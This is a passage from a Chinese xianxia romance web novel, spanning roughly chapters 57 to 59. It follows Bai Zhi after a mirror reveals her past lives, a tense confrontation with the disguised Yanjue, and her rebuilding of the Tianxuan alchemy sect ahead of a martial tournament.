“中了封脉丹,你还愁杀不了无奕?到时候仙界那里少不了你的功劳。”衍决声音不闹不怒,却不让摩妙再前进半分。
今日他不让衍决如愿,衍决恐怕不会放他走。
房间中气氛都冷下来,弥漫着一股压迫感。
摩妙蹙眉思索半晌,无奈叹一口气:“好吧,我再教你一些仙族秘法。”
衍决这才缓缓点头,满意的笑了,似是心情大好。
......
白芷慌忙回到清虚天时,黄鹂正在寻她。
她二人同为梵天尊首侍女,这些天,她虽然常偷跑去魔界碧岚宫,好在有黄鹂替她隐瞒,倒也没惹上什么麻烦。
只不过,她私自跑去碧岚宫这件事没有人知道,黄鹂还以为她是贪玩去了人界。
白芷面色苍白,刚见了她,便抓住她手,急切询问:“阿鹂,你知不知道哪里能找到封脉丹的解药?”
黄鹂先是一愣,仙界今日也出了大事,梵天尊首让所有人都紧急去清虚天集合。
黄鹂方才想开口喊白芷一同去境天,白芷却先开口问她封脉丹的解药在哪里。
今日可不是什么“小白她被仙子带去看守灵草田”之类的借口能搪塞过去的时候了。
虽有些奇怪,但黄鹂还是回道。
“封脉丹?我记得前几日,摩妙天极方才炼制了不少。”过了半晌后,她才终于想起这茬。
但很快黄鹂就面露急色:“小白,现在不是闲聊的时候,梵天尊首正召我们去清虚天呢。仙族将那大魔头无奕捉回来了,说今日要在清虚天就地诛杀!”
“就地诛杀”四个字在脑海中反复。
白芷全身犹如冰冻,所有伪装的感激和笑容全部僵硬在脸上,大脑一片空白,努力接受这件事实。
她根本没想到给他封脉丹会出现这种事,如今他只怀疑这件事是她做的......
白芷不安的出着神,一向万事无所谓的她,曾屡次从清虚天偷溜去碧岚宫,如今却不自觉心口隐隐的疼,甚至充满自责。
必须振作起来,眼下只有她能将这件事解决,替他摆脱困境。
“好。”白芷呆滞僵化的脸扯着勾起一个笑,心底却烦乱不堪,“我还有些事,稍后就去。”
黄鹂见她今日的样子有些奇怪,忍不住问道:“你没事吧?”
“我没事。”白芷颓然的扶上额角,只觉有些头疼。
现在必须尽快偷到封脉丹解药。
她心乱如麻,将黄鹂一个人丢在原地,只是慌不择路的朝着摩妙天极境宫而去。
......
再一晃神,她已经将封脉丹解药还给了无奕,酿成大错,金仙赶来之时,清虚天已经被屠尽。
金仙却没有取她性命,反慈悲为怀,给她一次轮回历劫悔过的机会,这才有了彼岸花妖天香。
原来这就是一切的来龙去脉。
千载岁月,众人在镜中观看这段尘封的记忆如走马观花,只有她如坠梦中。
原来她本体是仙兽白泽消散后的灵力聚集仙界,凝聚成的一株金莲化形。
而前世导致她错害无奕身陷险境的罪魁祸首,正是原身为黑玄子的衍决,不过衍决已死,一切都过去了。
摩妙天极为除去无奕则与衍决勾结,最后反倒葬身清虚天一役中。
往事一桩桩显现,在她面前如放映灯般略过。
到最后,浮华幻镜的灵力散尽。
天边泛起点点白光,直到一点点填满全部视线,不知过了多久。
恍然间,她睁开眼睛,发现已经重回现实。
只见浮华幻镜完好无损的立于半空之中,丝毫不见碎裂痕迹,想来也是,上古神器怎么可能轻易破碎。
只不过方才仙魔激战灵力波动太大,这才打碎了镜中关于仙兽白泽的记忆封印,阴差阳错展现给众人。
只不过只有与这段回忆有渊源之人,才有资格窥见,其余昏睡过去看见的也不过是自身的记忆。
由于白芷身上残存一缕白泽血脉,她醒来后,浮华幻镜便认主于她,自动飞到了她掌心。
这厢她已经醒来,有人却还在梦中流连。其中不乏许多魔修,原本此刻正是趁人之危斩杀魔修的良机。
但白芷在众人中无意撇见了贾勉大哥,最终还是摇了摇头,没下得去手。
众人横躺地上不省人事,白芷便好心施法将众修唤醒,不知不觉,又过去一个时辰。
众修醒来后面面相觑,皆有恍然之感,只觉得稀里糊涂,方才迷途无数年月,竟然只是南柯一梦。
无奕也醒过来,脑中浮现幻镜的种种,惊觉白芷就是天香,他下意识看正在唤醒众修的白芷一眼。
她低头的身影和天香渐渐重叠在一起。
想必她不愿再见自己,悔意如同钝刀一般,在他心头来回挫动,不明白怎么会这么痛。
“观尘,过来。不必叫醒那些魔修,说不定他们醒来就会要你的命。”万法语气温和,眼中还有一丝温柔之意。
他一手将她拉回去,
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白芷也未挣脱。远处碧岚宫的魔修基本已经恢复,拍了拍脑门,清醒过后见白芷就在眼前,皆是即刻换上警惕的神色。
万法冷漠道:“你看,魔修卑鄙,你好心救治他们,只会换来反咬一口。”
众人都清醒过来,此地毕竟是战场,天帝站在远处,各境天主已召唤出法器一副随时开打的样子,碧岚宫魔修手中也萦绕上一团黑雾,死死盯着众仙。
气氛很快又凝重起来。
万法将白芷牢牢护在身后,抬起头看无奕一眼,只是拉紧白芷的手。
白芷没想到幻镜将一切都坦白给了无奕,如今他已知晓她就是天香。本想形同陌路,却是偏不如意。
她朝他看一眼,将视线收回,无奈的轻叹一口气。
无奕嘴角动了一动,也不知是哪个举动让他窒息,鬼使神差沉声问万法道:“你和她是什么关系?”
白芷手心微微出汗,但面上还是镇定自若的样子。
此问简直莫名其妙,万法一手捏诀边答。
“此问荒唐。”万法脸上浮起一丝微笑,却不达眼底,“我们同为境天天极,亲如手足,我自然要保护她不受魔修侵害。”
万法看着无奕渐渐扭曲的表情,面上说不出的愉悦。
白芷沉默半晌,心中又是烦乱又是酸涩,但仍由万法将她护住,没有推开。
无奕提着昆仑雪,寒光竟现,风中立刻夹杂了寒意。剑气陡然袭来,万法长长的衣袂当风。战场上,眼看两人就要打起来。
她心头是说不出的滋味,竟上前一步,任由剑气吹面,挡在万法身前,无奕一怔。
白芷仰头望着无奕,眼中闪过什么:“我的事情,与你何干?”
万法看着她,竟微微一滞,不知是不是她的错觉,他眼神有些奇怪,似是非常高兴。
“你护的住她吗?”无奕冷脸看着万法,昆仑雪快如疾电,竟一剑刺来!
万法哼了一声:“魔君为何如此在意她,莫不是观尘天极生的清丽出尘,惹的你流连忘返?”
金仙释放出保护罩,挡下无奕一剑,将众人护在罩中,沉声道:“众天极听令,趁他们还没完全恢复,速速击退这帮魔修!”
众仙家唤出法宝,天空又顿时阴云汇聚,风雪突起。
无奕眸中情绪深沉,他曾经以为天香接近她只是为了衍决的任务,因此下手时毫不手软,让她死心绝望。
他忽然辗转不去天香死前的模样,此时想来,只觉得心里像被揪住,疼的喘不过气。
无奕一剑横指,对万法冷声道:“你还是先管好自己吧。”
现在小花妖终于死了,浮华幻镜中的记忆又告诉他,白芷就是小花妖。
前世,他确实错怪了她……从来没有什么衍决的任务,衍决也已经死了,他本该相信她的。
可见白芷在他面前,他却觉得有些茫然。
见白芷竟站出来护着万法,眼底温柔,也令人痛得心裂成千万片。他满脸阴沉,一言不发。
万法继续挑衅道:“听闻魔君无情,为了平乱不惜亲自诛杀心爱的女子,怎么,这么快就看上别人了?”
空中陡然降温,无奕语气森冷,像要把他的眼珠子剜出来,厉声道:“今日我非杀你不可!”
57. 第 57 章
衍决心中一笑,这是要开打,他正有此意。想必白芷此刻正沉浸于失去黑玄子的怅然之中,待他手刃无奕,就向她坦白这一切。
他要亲口告诉她,其实黑玄子没有死,他就是衍决,此刻站在她面前。
昆仑雪迸发出锋锐的剑气,白芷皱眉,上前挡住无奕。
无奕持剑仿佛停滞住般,再无法前进半分,他眸色一变,眼中也染上一抹痛意,扯扯嘴角。
脑海众忽然想起与她过往的片段。
他跟她已经结束了吧,只有在结束的时候,才会去回想过往全部的经历。
无奕看了她半晌,收回剑:“我知道你不想见我,所以没有告诉我你就是她,我自己也不知以何面目面对你,是我伤了你心。”
白芷知道,他们已经回不去了,前尘苦楚,爱恨交错。
不管是天璇宗还是碧岚宫,她用过的真心也绝不是子虚乌有。只是造化弄人,如今她只觉得过往如梦似幻,却再提不起半分痴念。
无奕心渐渐沉静下来,他看到她心痛而失望的眼神,心中竟觉意懒,不想再战。
白芷偷偷看了无奕紧抿的春,心中五味杂陈。他对无奕不是没有恨,但到如今,更深的是一种淡然的释怀。
无奕无论如何也想不到,居然有一天,他会放弃大好攻破仙族的机会,仅仅只是因为她一个疏离的眼神。
他竟觉得自己完全变成了另外一个人。
呆了片刻,无奕挥手布置下一道阵法:“众魔族听令,攻破紫胜岛一事先行放下,即刻撤退。”
千里收回魔息,险些反噬连被朱雀所伤的手臂都废去,赤地不顾箭雨,转身大惊阻拦:“什么?宫主三思,此刻正是良机!”
空中骤降的气温渐渐消融,无奕却已恢复冷漠的神情。
“你是要代我施令,还是你要我吩咐第二遍?”
赤地的嘴角动了动,皱着眉头,千里默默立于一旁,没有说话。
无奕看了她一眼,她依旧面色平静,他的身影即刻消失。
赤地和千里跟了上去,众护法虽不情愿,也依次布阵,全部魔族弟子只得离去。
白芷看着他的背影消失,松了一口气,手心上尽是汗水。
金仙支撑护罩法力消耗严重,向天帝告退后吩咐诸位天极:“此战我耗损严重,需要时日闭关修养,众天极听令,我不在的时日里,清虚天由万法尊首代为管理。”
随后金仙原地遁入心境宫消失。
众仙族开始安置战后事项,有的互相搀扶,有的施法疗伤,有的检查本命法器是否受损。
白芷捂着胸口,怅然若失,只是呆呆的望着空气。
万法嘴角擒着笑意,关心道:“观尘,我帮你疗伤。”
白芷没有拒绝,也没有点头,只是怔怔出神。
紫胜岛一战后,不少仙族受伤严重,需用仙丹灵药滋补恢复,由药修弟子带着离去,还有因战斗损伤的建筑,需要术法弟子用符咒重建。
地脉的修补就复杂多了,只能等仙界地元自我缓慢充盈恢复。
众人皆忙碌起来,好在仙族获得了成功,虽然死伤惨重,紧张气氛却暂时缓和了。
魔族已退兵,无奕这人虽然自傲嚣张,但却说话算话,他们暂时不必太过担心。
万法见此刻正是向白芷袒露实情的时机,一边暗自施法,二人已经回到他的心境宫。
白芷正茫然出神,惊觉四周光景变幻,环顾扫视,发现自己是到了万法尊首的境宫里。
境宫对于仙族来说是相对私人的场所,毕竟是自我修行之处,白芷以为是自己误入叨扰。
她忙行一礼,略有歉意:“尊首,观尘无意打扰,这便告退。”
衍决的双眼眼角微微上挑,此刻面上带着笑意,并不排斥,轻声道:“无妨,是我将你带入境宫,为治你伤。”
万法尊首一番好意,若是从前,她说不定也便留下了。
但方才经历紫胜岛一战,那些回忆堵的心乱,白芷只想一个人静静。
她头脑昏沉,盯着玉阶旁淌过的清水中几株盛放荷花发呆:“谢过尊首,我的伤可以自行恢复,此刻我只想一个人呆会......”
白芷叹口气,觉得过往纷扰,头疼欲裂,转身便要离去,手却被忽然抓住。
万法仿若没听见般,一副似笑非笑的表情,自顾自道:“先等等,我有一些事想与你说,是关于那面浮华幻镜的。”
白芷楞住看着他,见他脸上有一种压抑已久的情绪,似乎期盼这一刻很久了,她感到迷茫。
不知是不是受伤的原因,白芷面色微白,也没再挣脱手腕,仍是耐心道:“尊首有什么重要的事情,可否明日再说呢?”
衍决抿了抿唇,见她不愿留下,又在躲自己,明明已经用浮华幻镜恢复了记忆,为什么还是这般?
对了,一定是因为她还不知道自己就是黑玄子。
只要告诉她,她必会舍不得自己,从此忘记无奕,和他双宿双飞。
她是阿泽灵气化形的一株金莲成形,现在已经承载了浮华幻镜中白泽的记忆法力,这世间没有第二个人比她更似阿泽。
衍决眸光微动,伸手抚上她的脸,眼中幽暗:“必须要今日说。”
他已经太久没见到阿泽了,几千年,几万年,便是那盘残棋局,在他心里也快要模糊不清了。
为了这一刻,他等太久了。
白芷一脸茫然,大脑短暂宕机,甚至忘了躲:“什,什么意思......”
他很想将紫胜岛夷为平地,变成往昔模样,再变幻出一副石桌凳,上拟一盘棋,让他的阿泽陪他下完那场未完棋局。
但理智告诉他先等一等,要给她消化的时间,不可太心急。
衍决忽然注视她,眸色幽深,温柔而沉醉道:“你说,方才幻镜中的黑玄子,若是还存在这世上,等她回来......你会如何?”
境内玉宵灯的柔和灯光落在他侧脸,只映得一张玉面半明半暗,与之前在外面看他的模样大不相同。
白芷感到身上产生鸡皮疙瘩般,陡然紧张:“尊首……”
她一边挣脱他手,一边道:“便是一直等她,
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也不会有任何改变,白泽已死,我也不是白泽,而是白芷……”
气氛忽然冷下去,衍决手微微一僵,笑意险些消失。
他盯着她看了许久,眸色一深,又换上温良面孔。
声音仍是温柔似哄骗:“为什么?你难道不想再和他见一面吗?”
万法尊首的境宫满是棠花,锦绣花团在风中带来熟悉的淡淡香气。
她感到气氛诡异,惊慌的看着他,理所当然道:“再见又如何?那些都是白泽的记忆,她已经身陨在初次仙魔战场,我就算知晓了这些记忆,也不是她。”
他面上虚伪的笑意像撕碎般:“住口!”
听闻她说起白泽已经身死的事,衍决瞬间脸色一变,冷笑道:“白泽乃上古仙兽,你不过一株金莲,继承了她的记忆,得了浮华幻镜,也敢对她妄自评价?”
白芷对他的态度感到匪夷所思,心中只道,或许是这位万法尊首和白泽有什么让人不知的渊源。
她额间溢出几滴汗,仍是劝道:“……尊首,白泽已经死了。”
提及“白泽死了”在他眼中仿佛是禁忌。
衍决勃然大怒,笑的森寒:“她究竟有没有身死,你是什么境界,也容你置喙?”
“尊首,白泽已经葬身初次仙魔大战中了!我与她尚有一丝关键,才侥幸继承了她的法器和记忆。若原身未陨,又怎么轮得到我拿起浮华幻镜?”
衍决面色一沉,几乎有些愤怒的看着白芷,咚咚咚,感到自己的心脏几乎从胸腔跳了出来。
她没注意到,只是撇开眼,觉得此地不宜久留:“若无其他事,观尘先行离去。”
衍决无论如何也想不通,此刻这株小金莲已经和无奕决裂,也获得了白泽的记忆,明明应该和白泽那样对自己温柔以待,为何还是以前一般?
凭什么?
他感到心中一股戾火燃起,理智被疯狂取代,掰回白芷的肩膀强迫她看着自己。
白芷觉得脚下一软,被他强烈威压之意吓到,本能瑟缩一下。
她被迫与他对视。
衍决眼中涌现出冰冷笑意:“我对你耗费诸多心血,你获得了白泽全部的记忆和法器,却占据这副身体,反倒诋毁白泽?你冒犯远古仙祖,该当何罪?”
他指腹轻抚她唇,靠的极近,能闻见他身上淡淡清香。她瞪大眼睛望着他,这种感觉太熟悉,脑中空白,忘了后退。
恍惚间悄然无声,甚至可闻风声隐隐。
他复又开口:“阿泽,回来吧,和我在一起不好吗?”
白芷彻底愣住了,挤出几个字:“我不是白泽,还有,我几时诋毁仙祖......”
衍决气极,一瞬间想直接杀了她,既然她不肯和自己走,那就夺回白泽记忆法器,天底下随便找一个愿意洗去自己全部记忆甘做白泽傀儡的,如此于他还更省心。
不过是一株地涌金莲,何况她还有伤在身,便是全盛时期,他杀了她易如反掌,何况现在。
霜天微微一笑,眼中寒意却似寒锋,他抬起手,天铩业火凝集,就要毁去她心脉。
58. 第 58 章
白芷茫然的看着他。
她和白泽实在太像,只要和白泽有一点点相像的人,他都会生出温柔之念,何况这株小金莲有时许多不经意的动作都和她十分相似。
停滞半晌,一时却是无法出手。
只是一瞬犹豫,白芷已经推开他,有些生气:“请尊首自重!”
她十分头疼,不知尊首为何这般失态,感到境界高于自己的威压,本能不安,轻理衣摆,仓惶就要逃离。
她又要逃了,衍决微微犹豫,收起业火,难道是她对他太陌生了,需得长期相处,才能萌生出爱意,届时再和她坦白自己的真实身份,她就会接受自己。
况且白泽生性温柔,临别赠他棠枝许以再见诺言,又怎会不念他?想明白后,他心情才好转些许。
此刻他应该多与她相处,培养感情。
衍决轻咳一声,又恢复了温和笑意:“所言极是,你不是白泽,自然无法共情她的想法,其实,我与白泽曾有一段故交,这才......刚刚是我唐突了。”
见他已恢复原状,眼底也抹去戾色,他毕竟是天极之首,白芷理应礼貌些。
白芷这才慢慢转身:“......原来是这样,无妨,尊首也是思念故友。”
衍决忽然想起什么:“对了,先替你治伤。”
他仔细一看,准备替白芷恢复伤势,一出手,才发现她境界倒退,竟不光是因为受伤,体内似乎还有一股淤积的灵脉,像是堵塞已久。
他疑惑问道:“你修炼时是有受阻吗?”
白芷一惊,想不到他轻易就发现了此事:“是,我在转世归来时,就发觉这幅身体有某些灵脉淤积,如何都无法突破,只是当初以仙魔大战为重,我也就没再想起此事。”
“如此。”衍决打开神识观察白芷的灵脉,从外表上看,并无异常,但观她身上的因果线,却发现一团乱麻,还有几丝已经发黑断裂。
方才事情让白芷仍有些害怕,他施法探测她灵脉时,白芷本能后退半步。
置过去片刻,他心中已经确定:“你的灵脉阻塞,是由未完的因果造成的。”
“未完的因果?”白芷面色古怪,心情十分复杂。
说起因果她就想起了无奕。
可明明自己已经与他断绝前尘,若是自己受他滴血之恩,他却是魔珠受白泽精血化形,二人也已经扯平,何来因果之说?
她正楞神在原地,衍决淡淡笑道:“是更早的因果,似乎显示的人很多,甚至多到有一个小型宗门。”
小型宗门?白芷忽然想起了什么。
“莫非,是天璇宗?!”她恍然大悟。
原来自己身上的因果是天璇宗时,阴差阳错致使整个宗门被屠而欠下的因果债。此事竟然一直缠着自己,直到仙界。
“看来你已经有头绪了。”衍决轻笑一声,回收法术。
白芷点了点头,掐指一算,如此一来,她该回一趟人界,去了却这段因果才是。
“多谢万法尊首点拨。”仙魔大战已经告一段落,她正好可以在此时下界破此因果。
白芷忽然见他无比诚恳的盯着自己脸。
衍决垂眸,清隽面容微笑道:“就当是方才唐突的赔罪,此因果缠绕一事就让我陪观尘天极一同解决。”
白芷一愣,正要拒绝,但看他面露歉意,不像作假,也没再说什么。
二人边布两界阵,边使出腾云决,起身没入滚滚仙雾之中,身法极快的消失于九重天上。
白芷脑海中尽是一些天璇宗过往的片段,有她和无奕为了寻找失窃妖丹搜遍整座山头,有当初为了通过炼丹考试绞尽脑汁,还有最后宗门覆灭时天璇大阵开启,大殿外血光映天......
往事不可追,那里分明是和他初遇的地方,如今再要回去,他和她却已形同陌路。
但她知道,想要破除自己修行中的阻碍,必须到人界走这一遭。
她的因果,在天璇宗覆灭那一刻起,就已结下。
这个时候只能回到最初的地方,靠身体力行将因果债消除,不适合强行冲脉,否则不但阻塞不会消散,还容易反噬自损灵脉。
就在她即将踏上天璇宗故土之时,远远已经看到无相山顶依旧是一幅破屋倒塌模样。
彼时,人界早已过去百年。
那日天璇宗覆灭后,众弟子散的散,走的走。
天璇一夕之间被魔修全灭,虽然在修真界曾经也有不少交好的门派,但听闻是修盟和天剑门都不敢招惹的碧岚宫魔修,纷纷都不敢再帮天璇宗追仇。
如今,就连那段往事都逐渐被众人淡忘,原本就是个没什么根基的小派,现在更是淹没在历史洪流中,无人问津。
白芷站在山头废墟之外,看着倒塌碎裂的大殿匾额上甚至结满了蛛网。
白芷一双素手触摸上废墟,指尖沾染厚厚一层灰:“百年过去,这里恐怕无人敢踏足。”
谁不知道天璇宗死于碧岚宫魔修之手?旁人躲还来不及,谁想和天璇扯上关系。
万法淡淡看着远处:“也不是,只是丹宗势孤,加上魔修强大,人界修士也是为了自保。”
天上几只飞鸟略过,天色渐暗。
倒败的残柱中,依稀可见地上几圈交错阵纹,应该就是天璇阵,远处一整块青石砖上,被一条宽一尺,长一丈的裂缝狠狠贯穿。
那是孙昭当年毁去《阴水录》的地方。
裂缝极深,那一剑也极狠。
白芷无奈摇头:“不知故人还有没有活在这个世上。”
百年早就超出人修基本的寿命了,除非在境界上有所突破,不然应该早已化作一抔黄土。
万法见她眼中是深深的怀念,没有说什么,一挥手,宗门破败之象便立刻一扫而空,几座建筑拔地而起。
他轻笑一声:“百年对仙族不过瞬时,再过百年,此宗门就能重建而成,届时你的因果也会一并抹除。”
万法眼中柔和,等他陪着她,将这座丹宗建成,想必二人的感情也将水到渠成,到时候就可以向她坦白自己的真实身份了。
白芷抬手施法隐去自己原本面容,幻化成另一张脸,微微一笑道:“好,我便从今日重建天璇宗。”
......
五十年后,无相山相隔不远的一座山头。
白芷看着眼前烧红的铜制丹炉,认命似的将几味草药丢进去,再一手召来真火慢慢烧炼,一幅身
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心全放在炉中丹药上。
刹那间,白芷感到一种久违的紧张感。
她正全神贯注,这次一定能成功!不久后,一声巨大的爆炸声响残忍将她拉回现实。
白芷呛咳几声,这就是她不把炼丹房设在天璇宗山顶的原因,不得不说她还是很有先见之明。
门外弟子慌忙疾步行来:“掌门!你还好吗?”
白芷走到房门前,屋内浓烟滚滚,她轻咳一声,轻描淡写的说:“我没事,只不过研究秘方又失败了。”
弟子抹了把汗,掌门境界高深莫测,难逢敌手,是他见过当世境界最高的修士。就是炼丹技术实在糟糕,不知为何要建个丹宗,建个剑宗、刀宗不好吗?
白芷没有管小弟子抽搐的嘴角,一头冲进浓雾。
小弟子大惊:“掌门,里面危险!”
她压根没搭理弟子,很快,白芷黑着一张脸钻出浓雾。
她将一本险些烧毁的发黑本子抢救出来,上面密密麻麻记录着她失败的配方,只要用排除法,就能将失传的炼丹秘术一点点试出来了。
五十年对仙族来说弹指而过,她刚对天下公布自己仰慕故去云天真人的威名,决定重建天璇宗时,不少门派都一幅不看好的样子。
天璇宗死于碧岚宫魔修之手,借此名号重建也不怕招惹强敌?
不过很快,这些人的闲言碎语就都消失了,因为,这位名不见经传的女掌门简直可以用强无敌来形容。
有人剑修招惹寻仇,她一剑摆平。有妖修偷极品丹材,她一掌把对方打的奄奄一息。甚至上周,门内弟子招惹了一名藏胎境魔修,她召出一面镜子,魔修受重伤落荒而逃。
况且有传闻道,五十年过去,掌门容颜是丝毫未改,风情依旧。恐怕早已踏破窥虚,得长生道。
白芷将失败配方记录好后,妥善将小黑本放入纳戒。她吩咐弟子打扫干净实验丹房,用除尘决换一身素白衣裳,转瞬就回到了天璇宗上。
殿外,一排排丹炉摆在广场上,数名丹修弟子正在练习制丹。符修弟子则在专注画符捏决,互相对练。
入目一切井然有序的样子,除了一位偷懒坐在一旁,正用芭蕉叶糊泥烤野鸡的少年。
“乌星!!你又在偷懒。”白芷忍无可忍大叫。
乌星吓得手一抖,差点将糊泥烤鸡丢出去。
见是白芷来了,他才嘿嘿一笑,依旧慢条斯理的将裂开的泥壳用新泥补上,再施法燃火,慢慢转动烤鸡插签。
一旁弟子小声交谈:“快看,掌门又对副掌门发火了,副掌门是不是完了。”
“又不是第一次了,副掌门虽然爱偷懒,但胜在和掌门关系好,这就叫什么来着......关系户!所以不用太过担忧副掌门。”
白芷黑着脸看乌星烤鸡,虽然生气,但也没进一步出手。
小弟子一脸恍然大悟:“原来如此,副掌门可真厉害!”
半晌,烤鸡熟了,乌星忙幻化出一片碧绿的芭蕉叶,将鸡肉撕成小份,盛在蕉叶上,递给白芷。
“小香姐姐,这可是用洗髓丹腌制的烤鸡,食之大补!”
白芷扶额:“......先别吃了,我有正事找你。”
59. 第 59 章
乌星显然有些惊讶。
自从他离开魔界,来此地与白芷一同重建门派后,一直过着逍遥又懒散的生活,已经很久没有接触所谓的正事了。
白芷将乌星精心烤制的烤鸡放下,开口道:“下个月,修盟之首天剑门会举办蓬山比武大会,绝不能错过这个让丹宗名扬天下的机会,我要代天璇宗去一趟天剑门报名。在此期间,天璇宗便由你代管。”
为了解除因果,她已经将天璇宗重建的差不多了,只需要再将丹宗发扬光大,届时因果就会彻底消除,她也就没有修炼的阻碍了。
乌星一边嚼着香喷喷的烤鸡,一边纳闷:“小香姐姐,你为什么不找万法长老代管?”
白芷虽然已经告诉乌星她原本的名字,但他还是改不掉旧称的习惯,好在当年认识她的人不多,她也就懒得纠正这个称呼了。
“不可,万法尊首还要管理清虚天。”白芷摇摇头。
虽说当年,万法发现她修行的阻碍来源于天璇宗因果后,承诺与她一同重建丹宗,但他却隔三差五消失,或忙于仙界清虚天的事务,或去往魔界斩杀邪祟。
所以,与其说是万法与她一同建设宗门,大多数时候还是她一人亲力亲为。
乌星一口一口的继续吃,说话都有点含糊不清:“好啊,不过,你们仙族事务这般繁忙吗?什么时候你也带我去仙界玩玩?”
旁人制作烤鸡都会用盐腌制,乌星却用洗髓丹,自从来到天璇宗,白芷带回一堆仙界才有的秘宝后,他便开始拿灵药做菜,拿神剑砍柴,过上了寻常修士根本不敢想的生活。
对他来说,过往魔界的日子风雨飘摇,没有一个容身之所,没有比呆在天璇宗更开心的事情了,他当然愿意做代管掌门。
白芷无奈:“还是等天璇宗事情结束再说吧,先别说仙界了,如今魔界怎样了?”
乌星动作忽然缓下来,看了看手中烤鸡肉上面晶莹的汁水,却没再下口。
半晌,他抬起头看远方,缓缓道:“还是以前那样,我从魔界多方打听,自从紫胜岛一战结束,无奕就卸任魔君消失不见了。”
白芷心里忽然有种怅然,不知他去了哪里,连魔君位子都不要了……
不过他境界高深,还轮不到自己担心他安危,只是她虽然不想再见无奕,却不想他这般失踪杳无音讯。
恐怕失了他,魔界又要重回混乱。
她忽然有种直觉,恐怕无奕不会回碧岚宫,也罢,怎样都好,反正他们也不会再见了。
乌星忽的敲敲脑袋:“差点忘了,还有一件事。近来魔界传闻转轮王再度复活,连带他的势力也重新聚集,誓要夺过魔君之位。”
白芷低了低头,叹一口气:“无奕失踪,魔界失了主心骨,果然重回纷乱。不过转轮王复活的消息倒是未必真,也可能是有心之人利用。”
乌星吃完烤鸡,舔了舔嘴角:“谁知道呢?对了小香姐姐,你为什么一直问我魔界的事情?”
白芷召唤出幻镜视察清虚天,正色道:“我既然已是境天极,自然要时刻了解魔族动向,若是魔修再有意来犯,就要及时汇报天宫。”
她在此地不过是为了解除因果,终究要回到仙界去,即便不在清虚天,也要时刻盯紧那帮魔修。
乌星怔了一下,以手支颐:“当天极也太累了,如果是我,除非魔族打上门来,否则我还是沏几壶茶,烤几只野兔吧。”
眼看广场上修行弟子都完成课业各自离去,时间一晃过去好久,白芷也不准备同他多说。
事情交代完了,白芷转身离开:“我先去天剑门了,此行不过三五天,别到处惹是生非,把天璇宗翻个底朝天就行。”
乌星笑的灿烂,目光真挚:“你放心去吧,我一定好好管理。”
......
白芷随手驾云出现在天剑门山脚,几位身着白边紫衣的想必就是门内弟子,除外诸多身着常服的应该是各派修士。
无论境界高低,所有人都是乖乖步行登上的天剑门,只因那窥虚境以下不得释放飞天法宝的浮空禁制。
想上人界修门之首,天下第一剑宗可不是那么简单的。
白芷早就踏破窥虚境,这道禁制对她无用,但怎可招摇上山暴露自己是仙族。
她偷偷召浮华幻镜反复确认地点,是天剑门无误,这才收起仙器装作一名普通修士,慢慢爬着玉阶而上。
忽闻一道钟声传来,那是天剑门万象钟的声音,只有在重大仪式上才会使用,足以见天剑门对待蓬山大会的诚意。
这道钟声可不单单只是立威,窥虚境以下所有修士闭目闻音,皆可获得不少的修行进益,这是对来自五湖四海修者的馈赠。
可惜,对她没用。
旁人闭目闻音,她继续拖着沉重的脚步,慢慢往下一阶挪,一边擦汗,望着玉阶仿佛看不到头,忍不住骂一句天剑门设什么狗屁禁制。
好在她早想到此行不易,提前带上了数枚补元丹,一颗补元丹下去,浑身乏力疲劳尽数消散,她便是靠着“嗑药”向上攀爬。
谁知一旁共同上山的弟子见她这幅模样,竟忍不住出言嘲讽。
浣剑宗弟子摇摇头:“唉,连万象钟的进益都不知道,果然是个沉迷丹术的丹宗破落门。”
北刀派弟子笑出声:“丹宗为何来此?莫非也是参加蓬山大会,劝你趁早放弃,比武台可不是靠补元丹能得胜的地方。”
她听得快要七窍生烟,人界始终对丹宗抱有成见,这就是她在解除因果上耗费这么久的原因。
自古其他门派都有不错的战斗手段,独独丹宗以炼丹辅助为长,对敌稍加乏力,人才稀缺更添落寞。
其实不过是门户之见,丹宗为何无法对敌?只是没找对方法罢了。
她此行的目的正是在蓬山大会上夺得魁首,让天璇宗天下闻名,她的因果债也就能一笔勾销。
白芷嘴角抽搐,竭力维持表情:“不劳诸位费心,此刻多嘴无用,还是比武台上见吧。”
那几人愈发不屑:“你瞧,她还不见棺材不落泪。”
汲取了万象钟的增益,众修愈发健步如飞向上走去。
而白芷,当然不能在此刻去除凡人化形,否则天璇宗就无法参与蓬山大会了。
于是
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她尾随在众修士屁股后面,慢慢挪动步子,继续上山。
玉阶虽长,她不歇一刻攀爬半日后,终于到达山门报名处。
一座颇为华贵浮玉台搭建广场中央,其上镶嵌几块玄冰晶点缀,一旁尽是紫衣白边的门内弟子,有的负责向报名者介绍大会流程,有的指路来宾去登记处。
“这里就是报名处......”白芷看向远处,喃喃自语。
那玄冰晶一看就是上乘品,一块值五百灵石,天剑门就是阔绰呀。
她一边绕过人群,摸索到登记处。前面排着队,她站到队伍末尾。
那负责登记的女弟子身着虽然是清一色的宗门常服,一头如瀑黑发却用一只沧浪簪绾着,那只簪子灵息氤氲,白芷瞧着出神,只觉有点眼熟。
谁知队伍走的太快,没等她想起来,就已经排到了。
白芷即刻回神,朝着登记弟子客气道:“分派丹宗,登记蓬山大会,记名天璇宗。”
负责登记的弟子仿佛浑身滞住了,像是十分惊讶,持笔在半空久未曾落下。
白芷神色一紧,难道是丹宗不准参加蓬山大会?忽然又有些挫败,若是无法参加大会,她该用什么法子让天璇宗闻名好。
她左思右想,讪笑开口道:“不好意思,天剑门同修,我不知丹宗不能参加蓬山大会。”
后面还有不少门派弟子等着,她不能耽误太多时间,转身便离去。
那名登记女弟子却出声叫住她:“等等,丹宗可以参加!”
白芷感到迷茫的回过头,却在见到登记弟子的那一刻浑身一颤。那温柔如水的眉眼,和记忆中如出一辙,只是眸色添了几分锋芒。
孙昭?!
可是真有这么巧合的事吗?当年孙昭虽然因弥恒派灭门无处可去,依稀记得最后是被修盟带走。
可已经过去快两百年了,人修短寿,她怎会还活在这世上?种种疑惑绕上心头,白芷还是感觉眼前不可置信。
那名女弟子先开口解释道:“道友,蓬山大会收录天下门派,不将丹宗排除在外。只是约莫二百年前,世间也有一座天璇宗,可惜早就落寞,我与此门派,有些渊源......”
她一边低语,思绪有片刻的恍惚,像是忽然记起一段遥远的往事。片刻后,她重新低下头,持笔将“天璇宗”三个字记在大会名册上。
渊源?白芷心跳都加快了几分。
两百年过去,这世上还知晓天璇宗灭门惨案的人本就所剩无几,更何况她的反应如此契合记忆中的孙昭。
她思索片刻,试探性开口:“这位......天剑门师姐,其实我正是仰慕天璇宗,又喜好钻研丹术,才决心重建此宗,没想到,师姐也知晓天璇宗。我们很有缘分,我是天璇宗现任掌门白芷,敢问师姐姓名?”
